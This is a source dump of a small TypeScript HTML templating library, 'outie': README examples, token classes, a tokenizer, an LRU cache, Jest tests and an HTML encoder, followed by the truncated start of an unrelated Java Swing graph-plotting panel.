{if lastVisit}Welcome back!{/if}
{unless lastVisit}Welcome!{/unless}
`;
const data = { lastVisit: null };
const rendered = await outie.render(template, data);
console.log(rendered.trim()); // "Welcome!"
```
### For loops
You can loop through any collection that is iterable using
`Object.keys`, including arrays and objects. You can access both
the key and the value within the loop.
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const template = `
{for key:value in birds}
The common name of {key} is {value}.
{/for}
`;
const data = {
birds: {
'Turdus migratorius': 'American robin',
'Cardinalis cardinalis': 'Northern cardinal'
}
};
const rendered = await outie.render(template, data);
console.log(rendered.trim());
// The common name of Turdus migratorius is American robin.
// The common name of Cardinalis cardinalis is Northern cardinal.
```
You can omit the key if you're only interested in the values.
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const template = `
<ul>
{for city in cities}
<li>{city}</li>
{/for}
</ul>
`;
const data = {
cities: ['London', 'Tokyo']
};
const rendered = await outie.render(template, data);
console.log(rendered.trim());
// <ul>
// <li>London</li>
// <li>Tokyo</li>
// </ul>
```
## Includes/Partials
### Includes
You can include templates from other templates using relative or
absolute paths. Relative paths are based on the location of the
template from which they are included.
```html
<!-- main.html.outie -->
<h1>Hello, {name}!</h1>
{include account.html.outie}
```
Included templates inherit the data model that is present at the
time they're included, so you can use any data that would have been
available in the same spot in the including template.
```html
<!-- account.html.outie -->
<h2>Your Account</h2>
Your balance is {balance}.
```
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const absPath = path.join(__dirname, 'main.html.outie');
const data = { name: 'world', balance: '$1' };
const rendered = await outie.renderFile(absPath, data);
console.log(rendered);
// <h1>Hello, world!</h1>
// <h2>Your Account</h2>
// Your balance is $1.
```
### Raw includes
If you just want to dump the contents of another file into your
template, you can use a raw include.
```html
<!-- main.html.outie -->
<h1>Hello, {name}!</h1>
{includeRaw raw.html.outie}
```
```html
<!-- raw.html.outie -->
The contents of this {file} are left unparsed.
```
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const absPath = path.join(__dirname, 'main.html.outie');
const data = { name: 'world' };
const rendered = await outie.renderFile(absPath, data);
console.log(rendered);
// <h1>Hello, world!</h1>
// The contents of this {file} are left unparsed.
```
## HTML encoding and raw values
By default, all data is HTML encoded when rendered
in templates. You can, however, also render data unencoded.
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const template = `Hello, {raw name}!`;
const data = { name: '<script>alert("xss");</script>' };
const rendered = await outie.render(template, data);
console.log(rendered); // "Hello, <script>alert("xss");</script>!"
```
## Custom tokens
### Basic example
Here's a complete example of creating a simple custom token
that simply outputs a random number when it's used.
We start by extending the `abstract` class `Token`:
```typescript
import { Token } from 'outie';
class RandomToken extends Token {
async render() {
return Math.random().toString();
}
}
```
Then add the token to your config and use it in a template:
```typescript
import { Outie, defaultConfig } from 'outie';
const outie = new Outie({
...defaultConfig
tokens: {
...defaultConfig.tokens,
'random': RandomToken
}
});
await outie.render('Your number is: {random}', {}); // Your number is: 0.24507892345
```
### Adding parameters
`Math.random()` is great, but it would be _better_ if we could control
the range of the number that's generated. Let's add some parameters to our
custom token to do just that.
When we're done, we'll be able to use it like so to get a random number
between `10` and `20`:
```
{random 10 20}
```
We'll use our previous example as a starting point, but add a _constructor_
and a couple of fields to keep track of the desired min and max.
```typescript
import { Token, Template } from 'outie';
class RandomToken extends Token {
private readonly min: number;
private readonly max: number;
constructor(content: string) {
super(content);
// `content` is the content of the token with the
// _identifier_ stripped away.
// So, for "{random 10 20}", `content` is "10 20".
const [min, max] = this.content.trim()
.split(/\s+/)
.map(s => parseInt(s));
// a "real" implementation would include some
// error handling
this.min = min;
this.max = max;
}
async render() {
const n = (Math.random() * (this.max - this.min)) + this.min;
return n.toString();
}
}
```
### Creating a block token
Block tokens are used when a token should have a _start_ and an _end_.
This is commonly used for looping and conditionals but can be used anywhere
that you need to handle nested content.
To create a block token, extend the `abstract` class `BlockStartToken`.
As an example, we'll create a simple token that wraps anything inside in
an `<h1>` element.
Note: Block tokens have full control over the rendering of any child (i.e.
nested) tokens. If your block token doesn't render its child tokens, they will
not be rendered.
```typescript
export class HeadingToken extends BlockStartToken {
async render(model: RenderModel): Promise<string> {
// all child tokens are stored in `this.children`
const nestedTokens = this.children;
// you can use `Token.renderTokens` to easily render all child tokens
const renderedChildren = await Token.renderTokens(nestedTokens, model);
return `<h1>${renderedChildren}</h1>`;
}
}
```
<file_sep>import { Outie } from "../src";
import { RawModelKeyToken } from '../src/tokens/RawModelKeyToken';
describe('outie', () => {
it('should render a basic template', async () => {
const outie = new Outie();
const actual = await outie.render('Hello, {name}!', { name: 'world' });
const expected = 'Hello, world!';
expect(actual).toStrictEqual(expected);
});
it('should suport custom start and end sequences', async () => {
const outie = new Outie({
tokenStart: '<%',
tokenEnd: '%>',
});
const actual = await outie.render('Hello, <%name%>!', { name: 'world' });
const expected = 'Hello, world!';
expect(actual).toStrictEqual(expected);
});
it('should suport custom raw identifier sequences', async () => {
const outie = new Outie({
tokenStart: '<%',
tokenEnd: '%>',
tokens: {
'~': RawModelKeyToken,
}
});
const actual = await outie.render('Hello, <%~name%>!', { name: '<b>world</b>' });
const expected = 'Hello, <b>world</b>!';
expect(actual).toStrictEqual(expected);
});
it('should prevent xss', async () => {
const outie = new Outie();
const actual = await outie.render('Hello, {name}!', { name: '<script>alert("xss!");</script>' });
const expected = 'Hello, <script>alert("xss!");</script>!';
expect(actual).toStrictEqual(expected);
});
it('should render raw when asked', async () => {
const outie = new Outie();
const actual = await outie.render('Hello, {raw name}!', { name: '<strong>world</strong>' });
const expected = 'Hello, <strong>world</strong>!';
expect(actual).toStrictEqual(expected);
});
it('should allow object property access', async () => {
const outie = new Outie();
const actual = await outie.render(
'Hello, {user.name}!',
{
user: {
name: 'world'
}
}
);
const expected = 'Hello, world!';
expect(actual).toStrictEqual(expected);
});
it('should allow deeply nested object property access', async () => {
const outie = new Outie();
const actual = await outie.render(
'{user.brother.cousin.bestFriend.ocelot.name}! {user.brother.cousin.name} he remembers me!',
{
user: {
name: 'Pat',
brother: {
name: 'Steve',
cousin: {
name: 'Lana',
bestFriend: {
name: 'Cheryl',
ocelot: {
name: 'Babou'
}
}
}
}
}
}
);
const expected = 'Babou! Lana he remembers me!';
expect(actual).toStrictEqual(expected);
});
it('should support reusing templates', async () => {
const outie = new Outie();
const t = await outie.template('Hello, {name}!');
expect(await t.render({ name: 'Angela' }))
.toStrictEqual('Hello, Angela!');
expect(await t.render({ name: 'Brian' }))
.toStrictEqual('Hello, Brian!');
expect(await t.render({ name: 'Candice' }))
.toStrictEqual('Hello, Candice!');
});
});<file_sep>import { Template } from '../template';
import { Token } from './core/Token';
export class RawIncludeToken extends Token {
private readonly nestedTemplate: Promise<Template>;
constructor(contents: string, sourceTemplate?: Template) {
super(contents, sourceTemplate);
if (sourceTemplate) {
this.nestedTemplate = Template.fromFile(this.content, sourceTemplate.tokenizer, sourceTemplate.dir)
} else {
throw new Error('RawIncludeToken requires a sourceTemplate.');
}
}
async render() {
const nested = await this.nestedTemplate;
// just return the raw file content
return nested.content;
}
}<file_sep>import { getConfig, OutieConfig, RenderModel } from "./config";
import { Tokenizer } from "./tokenizer";
import { Template } from "./template";
export { OutieConfig, defaultConfig } from './config';
export { Cache, MruCache } from './cache';
export { Template } from './template';
export { Token } from './tokens/core/Token';
export { BlockStartToken } from './tokens/core/BlockStartToken';
export class Outie {
readonly config: OutieConfig;
readonly tokenizer: Tokenizer;
constructor(userConfig?: Partial<OutieConfig>) {
const config = getConfig(userConfig);
this.config = config;
this.tokenizer = new Tokenizer(config);
}
/**
* Pre-compile a template string
*
* @param template - a template string to compile
* @returns pre-compiled template
*/
async template (template: string): Promise<Template> {
const t = await Template.fromString(template, this.tokenizer);
t.compile();
return t;
}
/**
* Pre-compile a template from a file
*
* @param filePath - absolute path to template file
* @returns pre-compiled template
*/
async templateFromFile (filePath: string): Promise<Template> {
const t = await Template.fromFile(filePath, this.tokenizer);
t.compile();
return t;
}
/**
* Render a template string.
*
* @param template - template string
* @param model - data model
* @returns - Promise<string>, rendered template
*/
async render (template: string, model: RenderModel): Promise<string> {
const t = await Template.fromString(template, this.tokenizer);
return t.render(model);
}
/**
* Render the contents of a file as a template.
*
* @param filePath - absolute path to file
* @param model - data model
* @returns - Promise<string>, rendered template
*/
async renderFile (filePath: string, model: RenderModel): Promise<string> {
const t = await Template.fromFile(filePath, this.tokenizer);
return t.render(model);
}
}<file_sep>import { RenderModel } from '../config';
import { BlockStartToken } from './core/BlockStartToken';
import { Token } from './core/Token';
export class ForToken extends BlockStartToken {
readonly valueVarName: string;
readonly keyVarName?: string;
readonly itemsKey: string;
constructor(content: string) {
super(content);
const { valueVarName, keyVarName, itemsKey, } = ForToken.parseTokenContent(content);
this.valueVarName = valueVarName;
this.keyVarName = keyVarName;
this.itemsKey = itemsKey;
}
async render(model: RenderModel): Promise<string> {
// find the collection through which we'll iterate
const collection = Token.getValue(this.itemsKey, model);
if (typeof collection !== 'object') {
return '';
}
// render each item
const promises = Object.keys(collection).map(k => {
const withExtras = {
...model,
[this.valueVarName]: collection[k]
};
if (this.keyVarName) {
withExtras[this.keyVarName] = k;
}
return Token.renderTokens(this.children, withExtras);
});
// wait for the items to render and join them
return (await Promise.all(promises)).join('');
}
static parseTokenContent(content: string) {
const trimmed = content.trim();
const matches = trimmed.match(/(\w+)(?:\:(\w+))?(?:\s+in\s+)(\S+)/) || [];
const valueVarName = matches[2] ? matches[2] : matches[1];
const keyVarName = matches[2] ? matches[1] : undefined;
const itemsKey = matches[3];
if (!(valueVarName && itemsKey)) {
throw new Error(`Unrecognized string "${trimmed}" in ${this.constructor.name}.`
+ '\nExpected format: "key:value in items" or "value in items"');
}
return { valueVarName, keyVarName, itemsKey, };
}
}<file_sep>
export interface Cache<T> {
has: (key: string) => boolean;
put: (key: string, value: T) => void;
get: (key: string) => Promise<T | undefined>;
getOrPut: (key: string, supplier: () => Promise<T>) => Promise<T>;
}
export class MruCache<T> implements Cache<T> {
private readonly maxSize: number;
private readonly items: Record<string, T>;
private readonly keys: Set<string>;
constructor(maxSize: number = 150) {
this.maxSize = maxSize;
this.items = {};
this.keys = new Set();
}
has(key: string): boolean {
return this.keys.has(key);
}
put(key: string, value: T): void {
if (this.has(key)) {
throw new Error(`Duplicate cache key "${key}"`);
}
this.resize();
this.keys.add(key);
this.items[key] = value;
}
async get(key: string): Promise<T | undefined> {
if (this.keys.has(key)) {
this.touchKey(key);
return this.items[key];
}
return undefined;
}
async getOrPut(key: string, supplier: () => Promise<T>): Promise<T> {
if (this.has(key)) {
return (await this.get(key))!;
}
const value: T = await supplier();
this.put(key, value);
return value;
}
/**
* Move a cache key to the end of the
* deletion queue.
* @param key cache key
*/
private touchKey(key: string): void {
if (!this.keys.has(key)) {
throw new Error(`Key "${key}" does not exist.`);
}
this.keys.delete(key);
this.keys.add(key);
}
/**
* Remove items to make room for new ones.
* Deletes oldest keys first.
*/
private resize(): void {
// delete keys in order of insertion
while (this.keys.size >= this.maxSize) {
const iter = this.keys[Symbol.iterator]();
const key = iter.next().value;
this.keys.delete(key);
delete this.items[key];
}
}
}<file_sep>import { RenderModel } from '../config';
import { encodeHtml } from '../encoder';
import { Token } from './core/Token';
export class ModelKeyToken extends Token {
async render(model: RenderModel) {
const value = Token.getString(this.content, model);
return value ? encodeHtml(value) : '';
}
}<file_sep>import * as fs from 'fs';
import * as path from 'path';
import { RenderModel } from './config';
import { Tokenizer } from './tokenizer';
import { Token } from './tokens/core/Token';
const getFileContents = async (absPath: string): Promise<string> => new Promise((resolve, reject) => {
fs.readFile(absPath, 'utf8', (err, data) => err ? reject(err) : resolve(data));
});
export class Template {
readonly content: string;
readonly tokenizer: Tokenizer;
readonly dir?: string;
tokens?: Token[];
constructor(content: string, tokenizer: Tokenizer, dir?: string, tokens?: Token[]) {
this.content = content;
this.tokenizer = tokenizer;
this.dir = dir;
this.tokens = tokens;
}
compile(): Token[] {
if (!this.tokens) {
this.tokens = this.tokenizer.tokenize(this.content, this);
}
return this.tokens;
}
async render(model: RenderModel): Promise<string> {
return Token.renderTokens(this.compile(), model);
}
static async fromFile(filePath: string, tokenizer: Tokenizer, cwd?: string): Promise<Template> {
const absPath = path.resolve(
path.isAbsolute(filePath) || typeof cwd !== 'string'
? filePath
: path.join(cwd, filePath)
);
const fileCache = tokenizer.config.fileCache;
const template = fileCache.getOrPut(absPath, async () => {
const contents: string = await getFileContents(absPath);
return new Template(contents, tokenizer, path.dirname(absPath));
});
return template;
}
static async fromString(content: string, tokenizer: Tokenizer, cwd?: string): Promise<Template> {
return new Template(content, tokenizer, cwd);
}
}<file_sep>import { ModelKeyToken } from './ModelKeyToken';
import { Token } from './core/Token';
import { RenderModel } from '../config';
export class RawModelKeyToken extends ModelKeyToken {
async render(model: RenderModel) {
return Token.getString(this.content, model);
}
}<file_sep>import { BlockStartToken } from './core/BlockStartToken';
export class RootToken extends BlockStartToken {
constructor() {
super('');
}
}<file_sep>import { RenderModel } from '../config';
import { Template } from '../template';
import { Token } from './core/Token';
export class IncludeToken extends Token {
private readonly nestedTemplate: Promise<Template>;
constructor(contents: string, sourceTemplate?: Template) {
super(contents, sourceTemplate);
if (sourceTemplate) {
this.nestedTemplate = Template.fromFile(this.content, sourceTemplate.tokenizer, sourceTemplate.dir)
} else {
throw new Error('IncludeToken requires a sourceTemplate.');
}
}
async render(model: RenderModel) {
const nested = await this.nestedTemplate;
return nested.render(model);
}
}<file_sep>import { Outie } from "../src";
describe('block tokens', () => {
describe('block token parsing', () => {
it('should throw on missing opening tag', async () => {
await expect(async () => {
const outie = new Outie();
return outie.render(`You must be new here.{/unless}`, {});
}).rejects.toMatchObject(new Error('Found closing UnlessToken without opening.'));
});
it('should throw on missing closing tag', async () => {
await expect(async () => {
const outie = new Outie();
return outie.render(`{if foo}You must be new here.`, {});
}).rejects.toMatchObject(new Error('Unclosed items in template: IfToken'));
});
it('should throw on tag mismatch', async () => {
await expect(async () => {
const outie = new Outie();
return outie.render(`{if foo}You must be new here.{/unless}`, {});
}).rejects.toMatchObject(new Error('Found UnlessToken but IfToken is still open.'));
});
});
describe('if', () => {
it('should handle a simple case', async () => {
const outie = new Outie();
const actual = await outie.render(`
Hello, {name}!
{if hereBefore}I've seen you here before!{/if}
{if notHereBefore}You're new around here!{/if}
`, {
name: 'Dave',
hereBefore: true,
notHereBefore: false
});
expect(actual).toMatchSnapshot();
});
it('should coerce other types', async () => {
const outie = new Outie();
const actual = await outie.render(`{if prevVisits}You've been here {prevVisits} times!{/if}`, {
prevVisits: 13,
});
expect(actual).toMatchSnapshot();
});
it('should support nested props', async () => {
const outie = new Outie();
const actual = await outie.render(`{if user.prevVisits}You've been here {user.prevVisits} times!{/if}`, {
user: {
name: 'Lisa',
prevVisits: 13,
}
});
expect(actual).toMatchSnapshot();
});
});
describe('unless', () => {
it('should handle a simple unless', async () => {
const outie = new Outie();
const actual = await outie.render(`{unless prevVisits}You must be new here.{/unless}`, {});
expect(actual).toMatchSnapshot();
});
it('should coerce other types', async () => {
const outie = new Outie();
const actual = await outie.render(`{unless prevVisits}You're new here!{/unless}`, {
prevVisits: 0,
});
expect(actual).toMatchSnapshot();
});
it('should support nested props', async () => {
const outie = new Outie();
const actual = await outie.render(`{unless user.prevVisits}You're new here!{/unless}`, {
user: {
name: 'Lisa',
prevVisits: 0,
}
});
expect(actual).toMatchSnapshot();
});
it('should not throw for missing nested props', async () => {
const outie = new Outie();
const actual = await outie.render(`{unless user.favorites.color.hex}You have no favorite color?!{/unless}`, {
user: {
name: 'Lisa',
}
});
expect(actual).toMatchSnapshot();
});
});
describe('for', () => {
it('should support use of value only', async () => {
const outie = new Outie();
const actual = await outie.render(`
{for color in colors}
{color} is my favorite color. No, wait.
{/for}
`, {
colors: ['red', 'green', 'blue']
});
expect(actual).toMatchSnapshot();
});
it('should support use of key:value syntax', async () => {
const outie = new Outie();
const actual = await outie.render(`
{for state:city in capitals}
The capital of {state} is {city}.
{/for}
`, {
capitals: {
'Florida': 'Tallahassee',
'Washington': 'Olympia',
}
});
expect(actual).toMatchSnapshot();
});
it('should support nested props', async () => {
const outie = new Outie();
const actual = await outie.render(`
{for animal in farm.animals}
The {animal.name} goes "{animal.sound}".
{/for}
`, {
farm: {
animals: [
{ name: 'cow', sound: 'moo'},
{ name: 'chicken', sound: 'BOCK'},
{ name: 'horse', sound: 'neigh'},
]
}
});
expect(actual).toMatchSnapshot();
});
it('should do nothing for non-objects', async () => {
const outie = new Outie();
const actual = await outie.render(`
{for item in items}
This won't work.
{/for}
`, {
items: 'hello'
});
expect(actual).toMatchSnapshot();
});
});
});<file_sep>import { MruCache } from '../src/cache';
describe('cache', () => {
it('should limit its size', async () => {
const cache = new MruCache<string>(3);
cache.put('a', 'A');
cache.put('b', 'B');
cache.put('c', 'C');
cache.put('d', 'D');
expect(await cache.get('a')).toBe(undefined); // least recently touched key evicted
expect(await cache.get('b')).toBe('B');
expect(await cache.get('c')).toBe('C');
expect(await cache.get('d')).toBe('D');
});
it('should evict the least recently used key', async () => {
const cache = new MruCache<string>(3);
cache.put('a', 'A');
cache.put('b', 'B');
cache.put('c', 'C');
// getting 'a' bumps the key to the top of the usage list
await cache.get('a');
cache.put('d', 'D');
expect(await cache.get('a')).toBe('A');
expect(await cache.get('b')).toBe(undefined); // least recently touched key evicted
expect(await cache.get('c')).toBe('C');
expect(await cache.get('d')).toBe('D');
});
it('getOrPut calls supplier when needed', async () => {
const cache = new MruCache<string>(3);
cache.put('a', 'A');
// should not call supplier
const aSupplier = jest.fn(() => Promise.resolve('A2'));
expect(await cache.getOrPut('a', aSupplier)).toBe('A');
expect(await cache.getOrPut('a', aSupplier)).toBe('A');
expect(aSupplier).toHaveBeenCalledTimes(0);
// should call supplier
const bSupplier = jest.fn(() => Promise.resolve('B'));
expect(await cache.getOrPut('b', bSupplier)).toBe('B');
expect(await cache.getOrPut('b', bSupplier)).toBe('B');
expect(bSupplier).toHaveBeenCalledTimes(1);
// values should be stored in cache
expect(await cache.get('a')).toBe('A');
expect(await cache.get('b')).toBe('B');
});
});<file_sep>import { Token, TokenConstructor } from './Token';
/**
* This is a sort of meta token that is used to signal the
* close of a block (e.g. it's used for "/for", "/if", etc.)
*/
export class BlockEndToken extends Token {
readonly type: TokenConstructor;
constructor(type: TokenConstructor) {
super('');
this.type = type;
}
render(): Promise<string> {
throw new Error(`${this.constructor.name}.render should never be called.`);
}
}<file_sep>import { RenderModel } from '../../config';
import { Template } from '../../template';
export type TokenConstructor = { new (content: string, sourceTemplate?: Template): Token };
export abstract class Token {
readonly content: string;
readonly sourceTemplate?: Template;
constructor(content: string, sourceTemplate?: Template) {
this.content = content;
this.sourceTemplate = sourceTemplate;
}
abstract render(model: RenderModel): Promise<string>;
static async renderTokens (tokens: Token[], model: RenderModel): Promise<string> {
const rendered = await Promise.all(tokens.map(t => t.render(model)));
return rendered.join('');
}
static getValue(key: string, data: Record<string, any>): any {
const keyParts = key.trim().split('.');
return keyParts.reduce((obj: any, prop: string) => typeof obj === 'undefined' ? undefined : obj[prop], data);
}
static getString(key: string, data: Record<string, any>): string {
const value = Token.getValue(key, data);
return typeof value !== 'undefined' ? value.toString() : '';
}
}<file_sep>import { Outie } from "../src";
import * as path from 'path';
describe('outie file handling', () => {
it('should render a basic template from a file', async () => {
const outie = new Outie();
const filePath = path.resolve(__dirname, '__testData__/simple.html.outie');
const actual = await outie.renderFile(filePath, { name: 'world' });
expect(actual).toMatchSnapshot();
});
it('should handle relative includes', async () => {
const outie = new Outie();
const filePath = path.resolve(__dirname, '__testData__/include.html.outie');
const actual = await outie.renderFile(filePath, { name: 'Kate' });
expect(actual).toMatchSnapshot();
});
it('raw includes are unprocessed', async () => {
const outie = new Outie();
const filePath = path.resolve(__dirname, '__testData__/rawInclude.html.outie');
const actual = await outie.renderFile(filePath, { name: 'Kate' });
expect(actual).toMatchSnapshot();
});
});<file_sep>import { ForToken } from './tokens/ForToken';
import { IfToken } from './tokens/IfToken';
import { IncludeToken } from './tokens/IncludeToken';
import { RawIncludeToken } from './tokens/RawIncludeToken';
import { RawModelKeyToken } from './tokens/RawModelKeyToken';
import { TokenConstructor } from './tokens/core/Token';
import { UnlessToken } from './tokens/UnlessToken';
import { Cache, MruCache } from './cache';
import { Template } from './template';
export interface OutieConfig {
tokenStart: string;
tokenEnd: string;
// for tokens that have an open and close (e.g. "if")
// the sequence that indicates an "end" token
closeTokenIdentifier: string;
tokens: Record<string, TokenConstructor>;
fileCache: Cache<Template>;
}
export const defaultConfig: OutieConfig = {
tokenStart: '{',
tokenEnd: '}',
closeTokenIdentifier: '/',
tokens: {
'raw': RawModelKeyToken,
'includeRaw': RawIncludeToken,
'include': IncludeToken,
'if': IfToken,
'unless': UnlessToken,
'for': ForToken,
},
fileCache: new MruCache<Template>(),
};
export const getConfig = (userConfig: Partial<OutieConfig> = {}) => {
return Object.assign({}, defaultConfig, userConfig);
};
export type RenderModel = Record<string, any>;<file_sep>import { OutieConfig } from "./config";
import { BlockEndToken } from './tokens/core/BlockEndToken';
import { BlockStartToken } from './tokens/core/BlockStartToken';
import { ModelKeyToken } from './tokens/ModelKeyToken';
import { RawToken } from './tokens/RawToken';
import { Token, TokenConstructor } from './tokens/core/Token';
import { RootToken } from './tokens/RootToken';
import { Template } from './template';
const identInfo = (s: string, identifier: string) => {
const value = s.trim();
const present = value.startsWith(identifier);
const trimmed = present
? value.substring(identifier.length).trim()
: value;
return { present, trimmed };
};
export class Tokenizer {
readonly config: OutieConfig;
constructor(config: OutieConfig) {
this.config = config;
}
createToken (content: string, sourceTemplate?: Template): Token {
const config = this.config;
// this lops off the opening "/" sequence if present
const { present: isClosingToken, trimmed } = identInfo(content, config.closeTokenIdentifier);
// sort identifiers by length, longest first
// this avoids cases where we might interpret "includeRaw" as "include"
// because it starts with the same string ('include')
const orderedIdentifiers = Object.keys(config.tokens).sort((a, b) => {
if (a.length === b.length) {
return 0;
}
return a.length > b.length ? -1 : 1;
});
// test for each identifier
for (let i = 0; i < orderedIdentifiers.length; i++) {
const identifier = orderedIdentifiers[i];
const { present: isMatchingType, trimmed: tokenContents } = identInfo(trimmed, identifier);
// found a match, create a token
if (isMatchingType) {
const TokenType: TokenConstructor = config.tokens[identifier];
return isClosingToken
? new BlockEndToken(TokenType)
: new TokenType(tokenContents, sourceTemplate);
}
}
return new ModelKeyToken(content);
};
tokenize (s: string, sourceTemplate?: Template): Token[] {
const root = new RootToken();
const stack: BlockStartToken[] = [];
let i = 0;
while (i < s.length) {
const start = s.indexOf(this.config.tokenStart, i);
if (start === -1) {
break;
}
const end = s.indexOf(this.config.tokenEnd, start + this.config.tokenStart.length);
if (end === -1) {
break;
}
const parent: BlockStartToken = stack.length ? stack[stack.length - 1] : root;
if (i < start) {
parent.append(new RawToken(s.substring(i, start)));
}
const token = this.createToken(
s.substring(start + this.config.tokenStart.length, end),
sourceTemplate
);
if (token instanceof BlockEndToken) {
if (stack.length === 0) {
throw new Error(`Found closing ${token.type.name} without opening.`);
}
const openingToken = stack[stack.length - 1];
if (openingToken.constructor !== token.type) {
throw new Error(`Found ${token.type.name} but ${openingToken.constructor.name} is still open.`);
}
stack.pop();
} else if (token instanceof BlockStartToken) {
parent.append(token);
stack.push(token);
} else {
parent.append(token);
}
i = end + this.config.tokenEnd.length;
}
if (stack.length > 0) {
throw new Error(`Unclosed items in template: ${stack.map(t => t.constructor.name).join(', ')}`);
}
if (i < s.length) {
root.append(new RawToken(s.substring(i)));
}
return [root];
}
}<file_sep>import { RenderModel } from '../config';
import { BlockStartToken } from './core/BlockStartToken';
import { Token } from './core/Token';
export class IfToken extends BlockStartToken {
async render(model: RenderModel): Promise<string> {
const condition = Token.getValue(this.content, model);
return condition ? Token.renderTokens(this.children, model) : '';
}
}<file_sep>// https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
export const encodeHtml = (s: string): string => {
return s
// & --> &
.replace(/\&/g, '&')
// < --> <
.replace(/\</g, '<')
// > --> >
.replace(/\>/g, '>')
// " --> "
.replace(/\"/g, '"')
// ' --> '
.replace(/\'/g, ''');
};<file_sep>import { Token } from './core/Token';
export class RawToken extends Token {
async render() {
return this.content;
}
}<file_sep>import { getConfig } from "../src/config";
import { Template } from '../src/template';
import { Tokenizer } from "../src/tokenizer";
describe('outie tokenizer', () => {
it('should tokenize a simple token', () => {
const config = getConfig();
const tokenizer = new Tokenizer(config);
const tokens = tokenizer.tokenize('Hello, {name}!');
expect(tokens).toMatchSnapshot();
});
it('should handle a string with only a single token', () => {
const config = getConfig();
const tokenizer = new Tokenizer(config);
const tokens = tokenizer.tokenize('{token}');
expect(tokens).toMatchSnapshot();
});
it('should handle a string with tokens at start and end', () => {
const config = getConfig();
const tokenizer = new Tokenizer(config);
const tokens = tokenizer.tokenize('{greeting} {name}');
expect(tokens).toMatchSnapshot();
});
it('should handle a string with a token at start', () => {
const config = getConfig();
const tokenizer = new Tokenizer(config);
const tokens = tokenizer.tokenize('{greeting} name!');
expect(tokens).toMatchSnapshot();
});
it('should handle a string with a token at end', () => {
const config = getConfig();
const tokenizer = new Tokenizer(config);
const tokens = tokenizer.tokenize('hello {token}');
expect(tokens).toMatchSnapshot();
});
it('should correctly identify raw tokens', () => {
const config = getConfig();
const tokenizer = new Tokenizer(config);
const tokens = tokenizer.tokenize('{greeting} {name} {raw someHtml}');
expect(tokens).toMatchSnapshot();
});
});<file_sep>import { RenderModel } from '../../config';
import { Template } from '../../template';
import { Token } from './Token';
/**
* Base class for all tokens that have start and end tags.
*/
export abstract class BlockStartToken extends Token {
protected readonly children: Token[] = [];
append(child: Token) {
this.children.push(child);
}
async render(model: RenderModel): Promise<string> {
return Token.renderTokens(this.children, model);
}
}
|
d12014f895487d9abe7e63095e75185d8f1c052e
|
[
"Markdown",
"TypeScript"
] | 23 |
Markdown
|
dgrundel/outie
|
4f7075ba03e93672ceec81cfaf9d21c37ff5cb73
|
2eacf0989c21b2ca6b0ce48d4c707e201d407329
|
refs/heads/master
|
<repo_name>rupakraj/JPlot<file_sep>/GraphPanel.java
/*------------------------------------------
FILE : GraphPanel.java
AUTHOR : <NAME>
DESCRIPTION : It is the Panel, used to display the graph
Extended form
- JPanel
- IDataObserver
DATE :
NOTE : Developed for the APT assignment
------------------------------------------
*/
import java.awt.*;
import javax.swing.*;
import java.util.*;
import java.awt.geom.*;
//Display of the Graph
public class GraphPanel extends JPanel implements IDataObserver {
//data to show
Data data;
//Parameters to draw the Graph
int width = 500;
int height = 500;
int padding = 25;
int labelPadding = 25;
Color lineColor = new Color(44, 102, 230, 180);
Color pointColor = new Color(100, 100, 100, 180);
Color gridColor = new Color(200, 200, 200, 200);
Stroke GraphStroke = new BasicStroke(2f);
int numberYDivisions = 10;
int numberXDivisions = 10;
int pointWidth = 10;
public GraphPanel(){
Data data = new Data();
//this.setBackground(Color.RED);
//setPreferredSize(new Dimension(150,75) );
}
public void dataUpdated(Data data){
this.data = data;
//this.clear();
this.repaint();
}
//repain the graph
protected void paintComponent(Graphics g) {
super.paintComponent(g);
//public void paint(Graphics g){
//convert Graphics g into the 2g to set color and stroke of the line
Graphics2D g2 =(Graphics2D)g;
g2.setStroke(new BasicStroke(2));
boolean isFirstLoop= true;
//Integer x1=0, y1=0;
if (data == null) {
return ;
}
double xScale = ((double) getWidth() - (2 * padding) - labelPadding) / (data.getMaxX() - 1);
double yScale = ((double) getHeight() - 2 * padding - labelPadding) / (data.getMaxScore() - data.getMinScore());
prepareGraph(g2);
g2.drawLine(padding + labelPadding, getHeight() - padding - labelPadding, padding + labelPadding, padding);
g2.drawLine(padding + labelPadding, getHeight() - padding - labelPadding, getWidth() - padding, getHeight() - padding - labelPadding);
Stroke oldStroke = g2.getStroke();
g2.setColor(lineColor);
g2.setStroke(GraphStroke);
//draw line
for (int i = 0; i < data.count() - 1; i++) {
int x1 = (int) (data.get(i).x * xScale + padding + labelPadding);
int y1 = (int) (( data.getMaxScore() - data.get(i).y ) * yScale + padding);
int x2 = (int) (data.get(i + 1).x * xScale + padding + labelPadding);
int y2 = (int) (( data.getMaxScore() - data.get(i + 1).y ) * yScale + padding);
g2.drawLine(x1, y1, x2, y2);
}
//draw point
g2.setStroke(oldStroke);
g2.setColor(pointColor);
for (int i = 0; i < data.count(); i++) {
int x1 = (int) (data.get(i).x * xScale + padding + labelPadding);
int y1 = (int) (( data.getMaxScore() - data.get(i).y ) * yScale + padding);
x1 = x1 - pointWidth / 2;
y1 = y1 - pointWidth / 2;
int ovalW = pointWidth;
int ovalH = pointWidth;
g2.fillOval(x1, y1, ovalW, ovalH);
}
}
private void prepareGraph( Graphics2D g2){
//background draw
g2.setColor(Color.WHITE);
g2.fillRect(padding + labelPadding, padding, getWidth() - (2 * padding) - labelPadding, getHeight() - 2 * padding - labelPadding);
g2.setColor(Color.BLACK);
// create hatch marks and grid lines for y axis.
for (int i = 0; i < numberYDivisions + 1; i++) {
int x0 = padding + labelPadding;
int x1 = pointWidth + padding + labelPadding;
int y0 = getHeight() - ((i * (getHeight() - padding * 2 - labelPadding)) / numberYDivisions + padding + labelPadding);
int y1 = y0;
g2.setColor(gridColor);
g2.drawLine(padding + labelPadding + 1 + pointWidth, y0, getWidth() - padding, y1);
g2.setColor(Color.BLACK);
String yLabel = ((int) ((data.getMinScore() + (data.getMaxScore() - data.getMinScore()) * ((i * 1.0) / numberYDivisions)) * 100)) / 100.0 + "";
FontMetrics metrics = g2.getFontMetrics();
int labelWidth = metrics.stringWidth(yLabel);
g2.drawString(yLabel, x0 - labelWidth - 5, y0 + (metrics.getHeight() / 2) - 3);
g2.drawLine(x0, y0, x1, y1);
}
// and for x axis
